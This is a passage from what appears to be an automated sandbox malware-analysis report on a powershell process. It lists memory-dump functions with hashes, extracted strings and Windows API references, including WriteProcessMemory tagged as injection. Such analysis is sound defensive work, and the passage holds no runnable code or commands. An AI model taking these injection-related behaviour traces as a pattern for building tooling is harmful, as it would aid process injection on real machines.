Instruction ID: 0299cb48576cbc2023a64636c9a8432a8c85c572dd18d17aaa29ef61855e5da3
Opcode Fuzzy Hash: 684ea744edcb217a2f8083cdeae4bd05a59ea40449e7b73d86c4a56906883e9d
Instruction Fuzzy Hash: 904119B1B003149FD7209F988C15B6ABBF2EF86710F14856AE545AF381DA72DC81C7E1

Function 02BC8888 Relevance: 2.6, Strings: 2, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

2`b, xrefs: 02BC85ED
7, xrefs: 02BC85F7

Memory Dump Source

Source File: 0000000D.00000002.2171999044.0000000002BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2bc0000_powershell.jbxd

Similarity

API ID:
String ID: 2`b$7
API String ID: 0-1841929334
Opcode ID: 340d11b68b14773f3070ed9d0d97f4bdcce2df94438a124a2e3974c2b3706f6c
Instruction ID: a60b614482fe6172a41b030f20a5ca5c53c8b25972af62b1e87528943dff3d62
Opcode Fuzzy Hash: 340d11b68b14773f3070ed9d0d97f4bdcce2df94438a124a2e3974c2b3706f6c
Instruction Fuzzy Hash: 4631E574E04218CFDB10DFA8D954B9DBBB2FB89301F2091EAE509A7744CB355E858F64

Function 07046E1B Relevance: 2.6, Strings: 2, Instructions: 65COMMON

Download Yara Rule

Strings

$q, xrefs: 07046E4A
$q, xrefs: 07046E6B

Memory Dump Source

Source File: 0000000D.00000002.2211582504.0000000007040000.00000040.00000800.00020000.00000000.sdmp, Offset: 07040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7040000_powershell.jbxd

Similarity

API ID:
String ID: $q$$q
API String ID: 0-3126353813
Opcode ID: 6d7fee8a6a872647dbe1a8a2e20b2a7626c46a9529cfd33e5380b17b9d238867
Instruction ID: d2e6ad01f23c629d52d5fe54cdfa16cdd6512fdb26bf9a0462158e6f4fc246ac
Opcode Fuzzy Hash: 6d7fee8a6a872647dbe1a8a2e20b2a7626c46a9529cfd33e5380b17b9d238867
Instruction Fuzzy Hash: 0C11E2F52093829FDB518A16DC40A65BFF1EF8321CB1882BBD5148B152FB37C805C755

Function 06BF38BC Relevance: 1.8, APIs: 1, Instructions: 306
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000D.00000002.2210157777.0000000006BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6bf0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8ad3917118311b013aaaf74d4d993b51297568505c1b24138e1ba55150072d2
Instruction ID: 9bed6049441246f5e88e23204f7c77cc6f4ca464be7bed0d45dafa52b49ae6d5
Opcode Fuzzy Hash: b8ad3917118311b013aaaf74d4d993b51297568505c1b24138e1ba55150072d2
Instruction Fuzzy Hash: DDD11774E10209DFDB54CFA8D484A9DFBF2FF48310F148599E905AB361CB75A985CB90

Function 0704987D Relevance: 1.7, Strings: 1, Instructions: 475COMMON

Download Yara Rule

Strings

4'q, xrefs: 070497C2

Memory Dump Source

Source File: 0000000D.00000002.2211582504.0000000007040000.00000040.00000800.00020000.00000000.sdmp, Offset: 07040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7040000_powershell.jbxd

Similarity

API ID:
String ID: 4'q
API String ID: 0-1807707664
Opcode ID: 514767fc79594c8bab8825f40ef5a0a8711582a04ad152b51693d8945130f055
Instruction ID: 6db44e041c1d2fab6fb1059590aaade049ea97776242fe16a1263512285418d4
Opcode Fuzzy Hash: 514767fc79594c8bab8825f40ef5a0a8711582a04ad152b51693d8945130f055
Instruction Fuzzy Hash: CB1239B4A102059FDB54CF58C554A6EBBF2AF89314F14C27AE909AB355CB31FC46CB81

Function 070492A0 Relevance: 1.7, Strings: 1, Instructions: 464COMMON

Download Yara Rule

Strings

4'q, xrefs: 070497C2

Memory Dump Source

Source File: 0000000D.00000002.2211582504.0000000007040000.00000040.00000800.00020000.00000000.sdmp, Offset: 07040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7040000_powershell.jbxd

Similarity

API ID:
String ID: 4'q
API String ID: 0-1807707664
Opcode ID: 6adf6de6604afaabffac8bf5422d2c6a8dbcbd2f442da35fb9c0a17d3410c4b9
Instruction ID: 8d8c4902bad63d830e82189449060231648b718066916e1392e5136e921efc42
Opcode Fuzzy Hash: 6adf6de6604afaabffac8bf5422d2c6a8dbcbd2f442da35fb9c0a17d3410c4b9
Instruction Fuzzy Hash: BD1237B4A10205DFDB54CF58C584A6ABBF2BB89314F25C27AE8196B355CB31FC46CB81

Function 0807EC2C Relevance: 1.6, APIs: 1, Instructions: 105
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,?,?,?,?,?,?), ref: 0807ED21

Memory Dump Source

Source File: 0000000D.00000002.2217001342.0000000008070000.00000040.00000800.00020000.00000000.sdmp, Offset: 08070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8070000_powershell.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 7d78634a2d45cfacd4ba5fcb67f15453020838ffbd7425299da6aa8bcf6e0a03
Instruction ID: 0cedf1b6ab3aec7e61c1aff6c3745f1836ea35c6c925198904dd4fb18a68d393
Opcode Fuzzy Hash: 7d78634a2d45cfacd4ba5fcb67f15453020838ffbd7425299da6aa8bcf6e0a03
Instruction Fuzzy Hash: 84415671D012499FDB20DFA9C891BDEBBF2AF08710F148529E815AA250DB799841CF85

Function 0807EFF4 Relevance: 1.6, APIs: 1, Instructions: 103
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileMappingA.KERNEL32(?,?,?,?,?,?), ref: 0807F0E7

Memory Dump Source

Source File: 0000000D.00000002.2217001342.0000000008070000.00000040.00000800.00020000.00000000.sdmp, Offset: 08070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8070000_powershell.jbxd

Similarity

API ID: CreateFileMapping
String ID:
API String ID: 524692379-0
Opcode ID: 262b3db65bd400cc1ef3ef5e1838bbf00f3fed333b7414bf9ec679d5f130f9d1
Instruction ID: 7eb0960b6833e7c39f82ae9445b613f3da3c0454698fc983b224a76320510d1b
Opcode Fuzzy Hash: 262b3db65bd400cc1ef3ef5e1838bbf00f3fed333b7414bf9ec679d5f130f9d1
Instruction Fuzzy Hash: 7A415671D0034A9FDB14CFA9C881BEEBBF2EF48310F14852AE815AB340DB759881CB85

Function 0807F000 Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

APIs

CreateFileMappingA.KERNEL32(?,?,?,?,?,?), ref: 0807F0E7

Memory Dump Source

Source File: 0000000D.00000002.2217001342.0000000008070000.00000040.00000800.00020000.00000000.sdmp, Offset: 08070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8070000_powershell.jbxd

Similarity

API ID: CreateFileMapping
String ID:
API String ID: 524692379-0
Opcode ID: b3dd13b8a7fdd86c456df62b575ec7d52185b044d75951f5af9b3be00049209f
Instruction ID: 7e77dfd5079335abe1e5a84b9b0acd7d5a0773a489207fff6034a251c348ccb5
Opcode Fuzzy Hash: b3dd13b8a7fdd86c456df62b575ec7d52185b044d75951f5af9b3be00049209f
Instruction Fuzzy Hash: 04413571D0034A9FDB14DFA9C881BAEBBF2EF48310F148529E815AB350DB759881CB85

Function 0807EC38 Relevance: 1.6, APIs: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,?,?,?,?,?,?), ref: 0807ED21

Memory Dump Source

Source File: 0000000D.00000002.2217001342.0000000008070000.00000040.00000800.00020000.00000000.sdmp, Offset: 08070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8070000_powershell.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 444d3b42e664b0cd10515a6c1015c65f075289c48812fe2af52c88820d3b6208
Instruction ID: 908bb471ea61b6d9f95e430b6245f2423db90d179119f7f745c8a940475f7421
Opcode Fuzzy Hash: 444d3b42e664b0cd10515a6c1015c65f075289c48812fe2af52c88820d3b6208
Instruction Fuzzy Hash: 20413671D012499FDB24DFA9C881BDEBBF2FF08710F148529E815AA250DB759841CF95

Function 06BF3C20 Relevance: 1.6, APIs: 1, Instructions: 61injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,00000001), ref: 06BF3CAD

Memory Dump Source

Source File: 0000000D.00000002.2210157777.0000000006BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6bf0000_powershell.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 853af1a8587e9a86441cebfddf08a65053dcea1d0278311b5dce1497d79e23bd
Instruction ID: 3ed4c87d9f4c9cdc1faf3e312535fdd5cfb04bbe07d5114e34f7d5b3bb5ec558
Opcode Fuzzy Hash: 853af1a8587e9a86441cebfddf08a65053dcea1d0278311b5dce1497d79e23bd
Instruction Fuzzy Hash: F221EEB5D103589FCB14CF9AD884BDEBBF4FB48310F10842AE919A7250D378A944CBA4

Function 0807F338 Relevance: 1.6, APIs: 1, Instructions: 56fileCOMMON

Download Yara Rule

APIs

MapViewOfFile.KERNELBASE(?,?,?,?,?), ref: 0807F3AE

Memory Dump Source

Source File: 0000000D.00000002.2217001342.0000000008070000.00000040.00000800.00020000.00000000.sdmp, Offset: 08070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8070000_powershell.jbxd

Similarity

API ID: FileView
String ID:
API String ID: 3314676101-0
Opcode ID: cafa3e7751fee84987cab6a2c881615b46e01487e8140ac6e5e970bb9e0ac278
Instruction ID: 47c5919ae0c672d32d22f3cd5e965047625a72176d2f99408d3428e8d42a22a4
Opcode Fuzzy Hash: cafa3e7751fee84987cab6a2c881615b46e01487e8140ac6e5e970bb9e0ac278
Instruction Fuzzy Hash: BF115676C003499FDB20DFAAD845BEFBBF5EB48320F14841AE515AB250CB799540CFA4

Function 0807F340 Relevance: 1.6, APIs: 1, Instructions: 53fileCOMMON

Download Yara Rule

APIs

MapViewOfFile.KERNELBASE(?,?,?,?,?), ref: 0807F3AE

Memory Dump Source

Source File: 0000000D.00000002.2217001342.0000000008070000.00000040.00000800.00020000.00000000.sdmp, Offset: 08070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8070000_powershell.jbxd

Similarity

API ID: FileView
String ID:
API String ID: 3314676101-0
Opcode ID: d19d92041499793cb93789ca0ba56a293bf47b60547d16fd6505318bf4964a75
Instruction ID: f08757cdb2f5dde66ab6ccf93cfaa9f330b054fff67b47af41395b7ff321f5ed
Opcode Fuzzy Hash: d19d92041499793cb93789ca0ba56a293bf47b60547d16fd6505318bf4964a75
Instruction Fuzzy Hash: 56112672C003499FDB24DFAAC845BEFBBF5EB48320F14841AE515AB250CB799540CBA5

Function 02BC7A26 Relevance: 1.4, Strings: 1, Instructions: 184COMMON

Download Yara Rule

Strings

, xrefs: 02BC7D66

Memory Dump Source

Source File: 0000000D.00000002.2171999044.0000000002BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2bc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 85d95bb3267d397a2960064e4a1754c07fd6b87496dc13e00bc01f4b87f8c2e3
Instruction ID: 254dcd4e445cfa6e8ef61c5feb203f6225c0c48630deba3dcf0f68d848f72adb
Opcode Fuzzy Hash: 85d95bb3267d397a2960064e4a1754c07fd6b87496dc13e00bc01f4b87f8c2e3
Instruction Fuzzy Hash: 7F810270A04219CFEB64CFA8C884BAEFBB6FB49314F2091EDE009A7251DB745985DF45

Function 02BC9DA3 Relevance: 1.4, Strings: 1, Instructions: 147COMMON

Download Yara Rule

Strings

@, xrefs: 02BC9E59

Memory Dump Source

Source File: 0000000D.00000002.2171999044.0000000002BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2bc0000_powershell.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: f752805a1bb0d36c75e2103694a189516f70d08ff824a89ca9efd892254c784b
Instruction ID: 98ab902d93f00455591cb5ebfc03e4380bd908d391def99359df85e0a59d815c
Opcode Fuzzy Hash: f752805a1bb0d36c75e2103694a189516f70d08ff824a89ca9efd892254c784b
Instruction Fuzzy Hash: AE8180B4E152298FDB64DF68D894BD9BBB1BB49300F1081E9E959A7740DB306E80CF90

Function 07040468 Relevance: 1.3, Strings: 1, Instructions: 98COMMON

Download Yara Rule

Strings

4'q, xrefs: 0704058D

Memory Dump Source

Source File: 0000000D.00000002.2211582504.0000000007040000.00000040.00000800.00020000.00000000.sdmp, Offset: 07040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7040000_powershell.jbxd

Similarity

API ID:
String ID: 4'q
API String ID: 0-1807707664
Opcode ID: e4a71f3c1436e578240cb7e31a44ff8f15335cd21f7285af97527118a9a0e498
Instruction ID: 397b883489704c2f87f669281f23c0be82b0e46c82f8eaf0d4e5b16055460b74
Opcode Fuzzy Hash: e4a71f3c1436e578240cb7e31a44ff8f15335cd21f7285af97527118a9a0e498
Instruction Fuzzy Hash: B731F4F0A05306DFDB619A61850476F7BE5EF81240F4442F6DA14EB192DB39E981CBA2

Function 06BA6C48 Relevance: 1.3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

Strings

(oq, xrefs: 06BA6D29

Memory Dump Source

Source File: 0000000D.00000002.2209369154.0000000006BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6ba0000_powershell.jbxd

Similarity

API ID:
String ID: (oq
API String ID: 0-1999159160
Opcode ID: 470aad5b329f2fcf032de8506ce79567a04f8c0aeb4a0cd57457a84b9b579f48
Instruction ID: 8480a94096f14d7538c9d1ab2c29acc4976b9d947574a0191916bc559407f82d
Opcode Fuzzy Hash: 470aad5b329f2fcf032de8506ce79567a04f8c0aeb4a0cd57457a84b9b579f48
Instruction Fuzzy Hash: DB216DF0E48309EFEFA4CF14C948BAA77A2EB44741F1C90A6E5058B190F771D890CB91

Function 06BA67F8 Relevance: 1.3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

Strings

4'q, xrefs: 06BA68A9

Memory Dump Source

Source File: 0000000D.00000002.2209369154.0000000006BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6ba0000_powershell.jbxd

Similarity

API ID:
String ID: 4'q
API String ID: 0-1807707664
Opcode ID: 7fbd8ba4c7262688a59bd2d740c50dfd8de0552a352e5ff8e398dac80cc73279
Instruction ID: 99329298504f5aff43e3af347313c32ecc56a7c36cd806d62c1ddffc07f458b7
Opcode Fuzzy Hash: 7fbd8ba4c7262688a59bd2d740c50dfd8de0552a352e5ff8e398dac80cc73279
Instruction Fuzzy Hash: 0511AFF0E083048FDBA4DB69C64076A77E9EF89650F1C80ABD408C7251F730C941CB91

Function 02BC4F0B Relevance: 1.3, Strings: 1, Instructions: 20COMMON

Download Yara Rule

Strings

}, xrefs: 02BC4EC9

Memory Dump Source

Source File: 0000000D.00000002.2171999044.0000000002BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2bc0000_powershell.jbxd

Similarity

API ID:
String ID: }
API String ID: 0-4239843852
Opcode ID: f03243bd6b5ae3c0738ed7c650020f439ba664bd2c3abca9777c25a26fbdf5a4
Instruction ID: f8cd5f72f6e9696914c4977e40ef598cb6dceed5841997b4e29db74a1dbe4dce
Opcode Fuzzy Hash: f03243bd6b5ae3c0738ed7c650020f439ba664bd2c3abca9777c25a26fbdf5a4
Instruction Fuzzy Hash: 98E092B181A255CBD715DB28DC44BD67BA5EB11208F0141D9800C572A1E2755A458F51

Function 02BC4EA0 Relevance: 1.3, Strings: 1, Instructions: 11COMMON

Download Yara Rule

Strings

}, xrefs: 02BC4EC9

Memory Dump Source

Source File: 0000000D.00000002.2171999044.0000000002BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2bc0000_powershell.jbxd

Similarity

API ID:
String ID: }
API String ID: 0-4239843852
Opcode ID: e5b7a09c74d78133f3119774aeacc9f01466034b57b691f646496bb653eb9206
Instruction ID: f6e0c6668bda72bd98447b6168dbacfb8bfa76359a28a00088a058e311f22531
Opcode Fuzzy Hash: e5b7a09c74d78133f3119774aeacc9f01466034b57b691f646496bb653eb9206
Instruction Fuzzy Hash: 08D0A730C56515CBDB60CF1CCC047E677F9EB00204F0081D5800C87260D7311A858F50

Function 02C9CAA0 Relevance: .6, Instructions: 606COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2172710117.0000000002C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2c90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d46ff953baa11f3e6ad387be71eb3c6fc02aeacd737460b7d5c4444f417d974f
Instruction ID: b177a0737287556af2a496406a2c5a509b0ccb26753107c46eaa9c8e163d7b30
Opcode Fuzzy Hash: d46ff953baa11f3e6ad387be71eb3c6fc02aeacd737460b7d5c4444f417d974f
Instruction Fuzzy Hash: C4422C74A012099FDB14DFA8D584AADFBF2FF89314F24855AE405AB351C735ED82CB90

Function 0704C152 Relevance: .5, Instructions: 521COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2211582504.0000000007040000.00000040.00000800.00020000.00000000.sdmp, Offset: 07040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7040000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3510f51222fd257f11b6fc75857b18c8597b4df86eaacf28b5192ca6a3f48689
Instruction ID: 8540e4c0bd3fb384ed30970759e004545e8c543cd0393b00daac0578c1d8d15f
Opcode Fuzzy Hash: 3510f51222fd257f11b6fc75857b18c8597b4df86eaacf28b5192ca6a3f48689
Instruction Fuzzy Hash: EF322CB4B002149FEB54CB54C844B6ABBF2EB89314F14C1AAD909AF351DB72ED85CF91

Function 02C9DF48 Relevance: .3, Instructions: 325COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2172710117.0000000002C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2c90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68c90a93f3b95a3aefea68b60b6408ee0431bae37599c85b18bb6d8596c640b9
Instruction ID: 5169d21906e6ecbd29309c923fdffec8eddbb2f45bc62c87da295b7a6f0d87d3
Opcode Fuzzy Hash: 68c90a93f3b95a3aefea68b60b6408ee0431bae37599c85b18bb6d8596c640b9
Instruction Fuzzy Hash: B9D12874E012599FDB15CFA8D484A9DBBB2FF89314F24819AE815AB352C731ED42CF90

Function 02C929F0 Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2172710117.0000000002C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2c90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0613424a82cf32fe151d2a803b0e233c6bb6c6d8bd027d5a7d6b6f286467442e
Instruction ID: ffcb26fca4c01feed90addafb761894c7373c2794ff30630ccbbeb27dd45a47d
Opcode Fuzzy Hash: 0613424a82cf32fe151d2a803b0e233c6bb6c6d8bd027d5a7d6b6f286467442e
Instruction Fuzzy Hash: A191E170A00645DFCB15CF58C898AAEFBB1FF89310B288599D855EB391C735EC91CBA1

Function 06BA63C8 Relevance: .2, Instructions: 223COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2209369154.0000000006BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6ba0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4ceecb387ab1c19afcc10433911fd7415a7f1ed5744a3152cd030b46078de01
Instruction ID: b63dc21f48f36a327d0a8339be589c8dc591163ce394cf27ae29b19057ae58b5
Opcode Fuzzy Hash: d4ceecb387ab1c19afcc10433911fd7415a7f1ed5744a3152cd030b46078de01
Instruction Fuzzy Hash: E4819FF4B043089FDB58CF19C641AAA77E2EB84750F1D84A6ED059B395EB31EC41CBA1

Function 02BCBE20 Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2171999044.0000000002BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2bc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a74d6646ff7267981a6662881586649b97134adb8d819c554e755628734d7c20
Instruction ID: b3847c8bd5dc296e07b3e3c7a077ac7302854a31c1f2ea0d050dba7feda42ad8
Opcode Fuzzy Hash: a74d6646ff7267981a6662881586649b97134adb8d819c554e755628734d7c20
Instruction Fuzzy Hash: 415103B1D0420ACFDB04CF95D486BEEBBF2AB49315F2094AAE609B7350DB745985CF90

Function 02BCBE11 Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2171999044.0000000002BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2bc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d7ac35204113b2e4a466430e620403f83ad137ba5be4072dfbb9fb52a3fd547
Instruction ID: d67741773448a412963dcbd0b1612397bd383429f8b3c57465fc74b331bde118
Opcode Fuzzy Hash: 0d7ac35204113b2e4a466430e620403f83ad137ba5be4072dfbb9fb52a3fd547
Instruction Fuzzy Hash: 8651F3B1D04209DFDB04CF95D486BEEBBF2AB89315F2094AAE609B7350DB741985CF90

Function 07048C60 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2211582504.0000000007040000.00000040.00000800.00020000.00000000.sdmp, Offset: 07040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7040000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2305bc5c8fbc811c73cb5c687d82f82d41be0079aab6b6f056d24ae70f34eb63
Instruction ID: 7af1ce82a5d52e655de1ba85e4aa7c37b442b45a9759189c2cffb63a4273a5c4
Opcode Fuzzy Hash: 2305bc5c8fbc811c73cb5c687d82f82d41be0079aab6b6f056d24ae70f34eb63
Instruction Fuzzy Hash: 0E4127B1B012159FDB64AB7988002AEB7E6EFD4610F24C93AD915EB381DE31D901C7D1

Function 0806D9B8 Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2216878613.0000000008060000.00000040.00000800.00020000.00000000.sdmp, Offset: 08060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8060000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db2291c95b8c4f7c83901d53636c9e04d72655ac85e6d86ab1fc7cf26f8e8758
Instruction ID: aff69c586a6e732a370aa40d500aaab0841f4158525849075b7ba35a068a9539
Opcode Fuzzy Hash: db2291c95b8c4f7c83901d53636c9e04d72655ac85e6d86ab1fc7cf26f8e8758
Instruction Fuzzy Hash: 13414870A04218CFDB60DF69D884BADBBF2BB89326F10D1A9D809A7341DB755D95CF40

Function 02C9D0F9 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2172710117.0000000002C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2c90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c651c5f6e4be19e4c78dcbd8caecd45879e1cb35bc0b81969ce698980b027e92
Instruction ID: c72ead646de38c9caeec9e72f46810b3e6efd009778407c98234ef27f946ed4f
Opcode Fuzzy Hash: c651c5f6e4be19e4c78dcbd8caecd45879e1cb35bc0b81969ce698980b027e92
Instruction Fuzzy Hash: 6151E774A00209AFDB14DBA8D484AADFBF2BF88314F24C559E805AB355C735ED82CB90

Function 06BAC0F7 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2209369154.0000000006BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6ba0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb4b7e0b1befdbdedd7d5d7d12720d3a0d3228ce0dcd1a34451fe52858e3bcef
Instruction ID: 095a4392af517d6316195afc9511c54f7476c079e963f2c438bc43f3f977050c
Opcode Fuzzy Hash: cb4b7e0b1befdbdedd7d5d7d12720d3a0d3228ce0dcd1a34451fe52858e3bcef
Instruction Fuzzy Hash: B35122B4A043149FE764CF14C850BA9BBB2EF85304F1081E6EA19AB351DB31ED86CF95

Function 06BA65B0 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2209369154.0000000006BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6ba0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c5aaf2b52d7702b82fc7cb642c4a351476e09ee5b8ebd4ae1d95596d32a0a1e
Instruction ID: 1751b80f2e2aba81e6d591bb02fa251156dca192a49235672f04e5ef2519b93a
Opcode Fuzzy Hash: 2c5aaf2b52d7702b82fc7cb642c4a351476e09ee5b8ebd4ae1d95596d32a0a1e
Instruction Fuzzy Hash: D041BF74B002049FDB14DF58D541A9EB7E3FB88710B29845AFD09AB351DB31ED428BE5

Function 02C9D5DD Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2172710117.0000000002C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2c90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e22639272e00e3bf0721cd4b00cf1eb4155854a3e6159d3484c88db76b8992b
Instruction ID: e13fd8db5cbf620c8a875aad9d395ab31b28dca613972321132ec8193f4a3dff
Opcode Fuzzy Hash: 7e22639272e00e3bf0721cd4b00cf1eb4155854a3e6159d3484c88db76b8992b
Instruction Fuzzy Hash: 0231AF74A046458FDB05DF6CC894AEAFBB1FF4A314B15819AD449EB263C734EC42CBA1

Function 02C9D62A Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2172710117.0000000002C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2c90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 854410251cd7a08c112e3afbe94a2ea395df4fba10268178ef254213d2abc7a0
Instruction ID: c0c3e88b8820e6609dbe582ea0ecbd9b979c4b12c2e59b8ab77c5dc51ac43e15
Opcode Fuzzy Hash: 854410251cd7a08c112e3afbe94a2ea395df4fba10268178ef254213d2abc7a0
Instruction Fuzzy Hash: B231CD74A042059FCB05DF98C494AAAFBB1FF49310B14819AD409EB362C335ED51CBA4

Function 02BC75C9 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2171999044.0000000002BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2bc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3801a4c273b9240d6cbcc504f073f3a485acda869894e9415fdd969b358f5b9b
Instruction ID: 3e6bb5cd82e44779f866e10489072dcede8a3241ed62a750fc8144fc67f16e63
Opcode Fuzzy Hash: 3801a4c273b9240d6cbcc504f073f3a485acda869894e9415fdd969b358f5b9b
Instruction Fuzzy Hash: B8316871E002589FDB09DFA9D850AEEBBF2FF88310F14806AE451AB360DB345941CF91

Function 0806EBD0 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2216878613.0000000008060000.00000040.00000800.00020000.00000000.sdmp, Offset: 08060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8060000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
